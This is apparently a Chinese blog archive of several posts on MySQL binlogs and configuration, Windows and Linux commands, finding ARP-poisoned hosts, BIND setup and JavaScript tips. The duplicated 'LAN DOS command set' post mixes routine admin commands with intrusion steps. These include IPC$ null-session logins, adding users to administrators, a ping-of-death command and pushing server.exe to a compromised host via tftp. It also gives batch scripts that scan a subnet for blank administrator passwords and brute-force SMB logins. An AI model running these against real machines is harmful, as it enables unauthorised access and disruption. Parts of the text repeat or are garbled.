mysql中的日志文件文件

mysql-bin.000001文件是怎么产生的及处理方法
mysql-bin.000001、mysql-bin.000002等文件是数据库的操作日志,例如UPDATE一个表,或者DELETE一些数据,即使该语句没有匹配的数据,这个命令也会存储到日志文件中,还包括每个语句执行的时间,也会记录进去的。

这样做主要有以下两个目的:
1:数据恢复
如果你的数据库出问题了,而你之前有过备份,那么可以看日志文件,找出是哪个命令导致你的数据库出问题了,想办法挽回损失。

2:主从服务器之间同步数据
主服务器上所有的操作都在记录日志中,从服务器可以根据该日志来进行,以确保两个同步。

处理方法分两种情况:
1:只有一个mysql服务器,那么可以简单的注释掉这个选项就行了。
vi /etc/my.cnf把里面的 log-bin 这一行注释掉,重启mysql服务即可。

2:如果你的环境是主从服务器,那么就需要做以下操作了。
A:在每个从属服务器上,使用SHOW SLAVE STATUS来检查它正在读取哪个日志。
B:使用SHOW MASTER LOGS获得主服务器上的一系列日志。
C:在所有的从属服务器中判定最早的日志,这个是目标日志,如果所有的从属服务器是更新的,就是清单上的最后一个日志。
D:清理所有的日志,但是不包括目标日志,因为从服务器还要跟它同步。

清理日志方法为:
PURGE MASTER LOGS TO ‘mysql-bin.010′;
PURGE MASTER LOGS BEFORE ‘2008-12-19 21:00:00′;

如果你确定从服务器已经同步过了,跟主服务器一样了,那么可以直接 RESET MASTER 将这些文件删除。

注意,有的mysql版本不能把记录文件全部删除,否则会导致phpmyadmin读取不到mysql数据,例如我用的mysql5.1.33版本,只能删除旧的记录文件,但是无论如何要保留最后一个记录文件。

发表在 article | 标签为 , | mysql中的日志文件文件已关闭评论

局域网dos命令集

Dos常用命令
一、基础命令
1 dir
无参数:查看当前所在目录的文件和文件夹。
/s:查看当前目录已经其所有子目录的文件和文件夹。
/a:查看包括隐含文件的所有文件。
/ah:只显示出隐含文件。
/w:以紧凑方式(一行显示5个文件)显示文件和文件夹。
/p:以分页方式(显示一页之后会自动暂停)显示。
|more:前面那个符号是“\”上面的那个,叫做重定向符号,就是把一个
命令的结果输出为另外一个命令的参数。more也是一个命令,dir /w |more
得到的结果和dir /w /p的结果是一样的。
其他的参数大家可以用:dir/?查看。

2 cd
cd 目录名:进入特定的目录。如果看到有个目录显示为:abcdef ghi 就
输入:cdabcdef.ghi进入该目录。
cd\ 退回到根目录。
cd..退回到上一级目录。

3 md rd
md 目录名:建立特定的文件夹。 (dos下面习惯叫目录,win下面习惯叫文
件夹。呵呵!)
rd 目录名:删除特定的文件夹。

4 cls
清除屏幕。

5 copy
copy 路径\文件名 路径\文件名 :把一个文件拷贝到另一个地方。

6 move
move 路径\文件名 路径\文件名 :把一个文件移动(就是剪切+复制)到另
一个地方。

7 del
del 文件名:删除一个文件。
del *.*:删除当前文件夹下所有文件。
del不能删除文件夹。

8 deltree
删除文件夹和它下面的所有子文件夹还有文件,厉害。。。不要乱用。

9 format
format x: :x代表盘符,格式化一个分区。在dos下是用fat文件系统格式
化的,在windows2000安装的时候会问你要不要转换为ntfs。

10 type
type 文本文件名:显示出文本文件的内容。

11 edit
其实这是个小程序,编辑文本文件用的。

12 ren
ren 旧文件名 新文件名:改文件名。

二、关于网络的常用命令
1 ping
ping 主机ip或名字:向目标主机发送4个icmp数据包,测试对方主机是否收
到并响应,一般常用于做普通网络是否通畅的测试。但是ping不同不代表网
络不通,有可能是目标主机装有防火墙并且阻止了icmp响应。
ping -t :不停的发送数据包。当然都很小,不能称作攻击。有些人自己写
了一些类似于ping命令的程序,不停的发送很大的数据包,以阻塞目标主机
的网络连接。

2 net
建议是用net /?获取具体帮助信息。实在是有很多参数,参数下面还有参
数。常用:net view \\主机 来看共享,net start/stop 服务 来启动和停
止服务,信使服务个人不太喜欢。

3 netstat
netstat 主机:查看主机当前的tcp/ip连接状态,如端口的状态。

4 nbtstat
nbtstat 主机:查看主机使用的NetBIOS name。

5 tracert
tracert 主机:查看从你自己到目标逐机到底经过了那些路径。如:
tracert www.ncie.gov.cn

然后等待。。。就会看到你经过的一个个路由节
点,一般大一点的路由器,如电信的主干路由,除了ip以外,都有英文标示
的。

6 pathping
pathping 主机:类似tracert,但可以显示一些tracert不能显示出来的信
息。可以自己试试。

7 ftp
字符方式的ftp,我喜欢用;)不用装cuteftp了。

8 telnet
字符方式的远程登录程序,是网络人员极其爱用的远程登录程序。我最近常
用来调试邮件服务器。

9 ipconfig 非常有用的网络配置、排错。。。命令。
不加参数显示当前机器的网络接口状态。
/all 先是详细的信息。
/release 释放当前ip。
/renew 重新申请ip。
/flushdns 刷新dns缓存。
/registerdns 重新栽dns服务器上注册自己。
。。。。。。

10 arp 操作当前的arp缓存。
-a 显示arp缓存。
-d 删除一条缓存纪录。
-s 田家一条缓存纪录。

11 nslookup 排除dns错误的利器。是一个交互的工具。使用之前请先努力弄清楚dns的作用以及dns的工作原理。

xcopy是一个外部命令,也就是说,是一个小程序,有的时候会发现软盘上没有,硬盘上也没有。。。昏倒。。。当然勇气来使比copy好用,我喜欢加/e参数。
smartdrv.exe 加载磁盘缓存,参数是缓存的大小,单位是kb。
如:smartdrv 32768 就是加载32M的缓存。
缓存的作用在你安装WIN2K的时候非常明显!不加缓存装WIN2K PRO要3小时左右,加载8M缓存后,只要30分钟。
原理是在内存中划分出一块区域,在安装期间不断地把硬盘上的数据读取到那块缓存区域中,充分利用了内存

局域网dos命令集

net use \\ip\ipc$

” ” /user:” ” 建立IPC空链接
net use \\ip\ipc$

“密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$

“密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$

登陆后映射对方C:到本地为H:
net use \\ip\ipc$

/del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip

查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

局域网dos命令集

net use \\ip\ipc$

” ” /user:” ” 建立IPC空链接
net use \\ip\ipc$

“密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$

“密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$

登陆后映射对方C:到本地为H:
net use \\ip\ipc$

/del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip

查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,”> “和”> >” 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip

time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\***$

复制本地c:\srv.exe到对方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\***$\svv.exe

c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续….
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中
findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysql*** -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin

目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$

pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个”1″指起始值,第二个”1″指增长量,第三个”254″指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G

/user:***istrator | find “命令成功完成” >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有”命令成功完成”信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

#7 七:

2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if “%2%”==”4″ goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加” “)
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到”:end”标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

发表在 article | 标签为 , | 局域网dos命令集已关闭评论

在局域网中查找ARP中毒机器

消除病毒对网内其他主机的影响,最后再去清楚病毒(当然我这里就不用了,重启之后病毒就全消失了)。
这里我主要讲述一下如何找到ARP病毒源,我介绍三种方法,当然大家也可以采用其他的方法,只要能找到病毒源即可。

方法一:使用Sniffer抓包
在网络中的任意一台主机上运行抓包软件,捕获所有到达本主机的数据包。如果发现某个IP不断发送ARP Request请求包,这台主机一定就是病毒源。
原理:无论是何种ARP病毒变种,行为方式主要有两种:一是欺骗网关,二是欺骗网内的所有主机。最终的结果是在网关的ARP缓存表中,网内所有活动主机的MAC地址均为中病毒主机的MAC地址;网内所有主机的ARP缓存表中,网关的MAC地址也都是中病毒主机的MAC地址。前者保证了从网关到网内主机的数据报被发送到中毒主机,后者则相反,使得主机发往网关的数据报均被发送到中毒主机。

方法二:使用arp -a命令
任意选择两台不能上网的主机,在命令提示符状态下运行arp -a命令,如果在结果中,两台电脑除了网关的IP,MAC地址对应项外,都包含了另外一个IP,这可以断定这个IP就是病毒源。
原理:一般情况下,网内的主机只和网关通信。正常情况下,一台主机的ARP缓存中应该只有网关的MAC地址。如果有了其他主机的MAC地址,说明本地主机和这台主机最近有过数据通信发生。如果某台主机既不是网关也不是服务器,但和网内的其他主机都有数据通信活动,且此时又是ARP病毒的发作时期,那么病毒源就是他了。

方法三:使用tracert命令
在任意一台受影响的主机上,在命令提示符状态下运行tracert命令,具体的命令行为:tracert IP(该IP为外网地址),在跟踪一个外网地址时,第一跳却是另一个IP(不是网关地址),则这个IP就是病毒源。
原理:中毒主机在受影响的主机和网关之间,扮演着“中间人”的角色。所有本应该到达网关的数据包,由于错误的MAC地址,均被发送到了中毒主机上,此时中毒主机在该网络中充当缺省网关的作用。

虽然给大家介绍的是三种查找ARP病毒源方法,但是其基本原理都是一样的,这里我给大家介绍一款检测ARP病毒源的软件,具体点说就是检测网卡的工作模式(网卡工作在混杂模式很有可能就是中了ARP病毒)。这里我只给出软件下载地址,具体的使用方法请大家自行摸索。

SnifferDetector软件介绍:
通过检测对方网卡是否处于混杂模式(来检测是否对方正在使用Sniffer嗅谈) 运行需要WinpCap支持,如果没有安装,请先安装Winpcap

发表在 article | 标签为 | 67条评论

Windows 下 MySQL 5.0.27免安装版my.ini配置指南

1.下载MySQL5.0的免安装版本mysql-noinstall-5.0.27-win32.zip。

将其解压缩至E:\Program Files\mysql-5.0.27目录。

编辑配置文件my.ini。拷贝 my-large.ini 到 my.ini,这里是E:\Program Files\mysql-5.0.27\my.ini。

my.ini文件的内容

[WinMySQLAdmin]

# 指定mysql服务启动启动的文件

Server=E:\\Program Files\\mysql-5.0.27\\bin\\mysqld-nt.exe

[mysqld]

# 设置mysql的安装目录

basedir=E:\\Program Files\\mysql-5.0.27

# 设置mysql数据库的数据的存放目录,必须是data,或者是\\\\xxx\\data

datadir=E:\\Program Files\\mysql-5.0.27\\data

# 设置mysql服务器

的字符集

default-character-set=gbk

[client]

# 设置mysql客户端的字符集

default-character-set=gbk

这里的路径使用正斜线,而非反斜线;如果使用反斜线,必须成对使用。如果3306端口被系统已有MySQL安装所占用,这里须更改端口号

打开Windows命令行窗口,执行如下命令:

C:\>mysqld-nt.exe –install MySQL-noinstall
–defaults-file=”E:\Program Files\mysql-5.0.27\my.ini” (安装服务)
C:\>net start MySQL-noinstall (启动)
C:\>net stop MySQL-noinstall (停止)

发表在 article | 标签为 , | Windows 下 MySQL 5.0.27免安装版my.ini配置指南已关闭评论

Win2008 R2安装BIND 9.7 DNS服务器实战

在WINDOWS 2008R2版本中安装了BIND9版本的DNS服务器软件

BIND9似乎可以做出像花生壳一样的DDNS服务,学习这个的目就是为了动态域名的解析,跟据客户IP的变化自动进行域名服务解析。

安装过程

1 在官方网站下载最新版本的BIND9.7 http://oldwww.isc.org/sw/dl?pkg=bind9/9.7.0b1/BIND9.7.0b1.zipname=BIND

9.7.0b1 Windows XP/2003/2008 Binary Kit&noframes=1

2 解压缩文件在任一目录

3 右键管理员权限执行安装程序 输入用户名和密码 当然是系统默认的管理员administrator and password

4 修改程序安装目当 将system32 改为 syswow64  注意 不要勾选安装完成后开始服务,因为还没有配置 会提示错误

5 安装 install 提示 选择 否 再提示 选择 是

6 设置c:\windows\syswow64\dns 文件夹权限 右键 安全 添加 administrator

6 配置 rndc.key rndc.conf named.root named.conf loacl.zone loaclhost.local

7 服务  选择 ISC BIND 属性 登陆 选择 administrator 确认之后 开始服务

发表在 article | 标签为 , , | Win2008 R2安装BIND 9.7 DNS服务器实战已关闭评论

一些javascript小技巧

事件源对象
 
event.srcElement
.tagName

event.srcElement
.type

 
捕获释放
 
event.srcElement
.setCapture
(
)
;
 
event.srcElement
.releaseCapture
(
)
;

 
事件按键
 
 
event.keyCode

event.shiftKey

event.altKey

event.ctrlKey

 
事件返回值
 
 
event.returnValue

 
鼠标位置
event.x

event.y

窗体活动元素
document.activeElement

绑定事件
 
 
document.captureEvents
(
Event.KEYDOWN
)
;

 
访问窗体元素
 
document.all
(
"txt"
)
.focus
(
)
;

document.all
(
"txt"
)
.select
(
)
;

 
窗体命令
document.execCommand

窗体COOKIE
